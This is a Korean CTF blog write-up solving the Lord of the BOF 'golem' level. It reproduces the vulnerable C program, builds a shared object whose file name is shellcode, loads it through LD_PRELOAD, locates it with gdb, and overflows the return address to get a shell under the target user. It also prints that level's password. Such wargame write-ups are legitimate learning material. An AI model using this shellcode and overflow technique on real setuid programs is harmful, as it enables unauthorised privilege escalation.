시작
안녕하세요 :D
한참 고민하다가 안 풀려서 구글링 해버린 문제입니다 ㅠㅠㅠ
라이브러리까지 건드릴 줄이야..
Write UP
/*
The Lord of the BOF : The Fellowship of the BOF
- golem
- stack destroyer
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// stack destroyer!
memset(buffer, 0, 44);
memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));
}
stack destroyer가 스택을 싹 날려버리네요.
인자값, 버퍼 등등 아무것도 못 쓸 것 같습니다. RET 하나만 조작이 가능하겠네요.
쉘코드를 넣을 수 있는 부분은 buffer 아래에 존재하는 영역 뿐입니다.
프로그램이 실행될 때에는 로드해야 할 것이 굉장히 많이 있는데요!!
라이브러리도 그 중 하나입니다.
때문에 이 라이브러리의 이름이 어딘가에 저장이 된다는 거에요.
리눅스 상에서 LD_PRELOAD 라는 환경변수가 있는데
얘는 프로그램이 메모리에 로드되기 전에 여기에 등록된 파일들을 먼저 메모리에 로드합니다.
따라서 스택의 아래쪽에 환경변수에 적혀 있는 라이브러리의 이름이 올라가게 되죠.
이걸 이용해 RET을 그 쪽으로 조작해주면 쉘이 떨어질 것 같습니다.
#include <stdio.h>
int main() {
return 0;
}
아무 동작도 하지 않는 test.c
를 만들어줍시다.
[skeleton@localhost golem]$ gcc -fPIC -shared test.c -o `python -c 'print "\x90" * 100 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
gcc로 컴파일 할 때, fPIC와 shared 옵션을 걸어줘서 shared object가 되도록 해줍니다.
[skeleton@localhost golem]$ export LD_PRELOAD="/tmp/golem/`python -c 'print "\x90" * 100 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`"
[skeleton@localhost golem]$ echo $LD_PRELOAD
/tmp/golem/▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒^1ɱ2▒l▒▒▒u▒▒▒▒▒▒▒2▒Qi00tii0cjo▒▒QT▒⚱
LD_PRELOAD 변수에 생성된 shared object 파일을 등록시켜 줍니다.
이렇게 하면 프로그램이 실행될 때 우리가 만든 파일이 메모리에 올라갈 거에요.
이제 이 친구가 어디에 할당되는지 gdb로 보러 가보죠!!
(gdb) x/100wx $esp-3000
.
.
0xbffff5b0: 0x6c6f672f 0x902f6d65 0x90909090 0x90909090
0xbffff5c0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff5d0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff5e0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff5f0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff600: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff610: 0x90909090 0x90909090 0xeb909090 0xc9315e11
0xbffff620: 0x6c8032b1 0x8001ff0e 0xf67501e9 0xeae805eb
0xbffff630: 0x32ffffff 0x306951c1 0x69697430 0x6f6a6330
0xbffff640: 0x5451e48a 0xb19ae28a 0x0081ce0c 0x40013868
스택프레임 아래에 존재하기 때문에 esp-3000 영역부터 찾아봤습니다.
0xbffff5b8
부터 NOP이 시작하네요. 이 쯤으로 RET을 돌려주면 되겠습니다.
[skeleton@localhost golem]$ ./golemm `python -c 'print "A" * 44 + "\xd4\xf5\xff\xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒▒
bash$ id
uid=510(skeleton) gid=510(skeleton) euid=511(golem) egid=511(golem) groups=510(skeleton)
bash$ my-pass
euid = 511
cup of coffee
Exploit!!
마무리
저번에 CTF 문제 풀 때 ldd 명령어에서 not found 뜨는 라이브러리 추가하려다가 LD_PRELOAD를 건드린 것 같은데..
그걸 여기서 다시 보게 될 줄은 몰랐네요.
어려웠습니다ㅠㅠㅠ 감사합니다 :D
'CTF_Write_UP > LOB' 카테고리의 다른 글
[LOB] darkknight (0) | 2019.08.01 |
---|---|
[LOB] golem (0) | 2019.08.01 |
[LOB] vampire (0) | 2019.07.04 |
[LOB] troll (0) | 2019.07.04 |
[LOB] orge (0) | 2019.05.09 |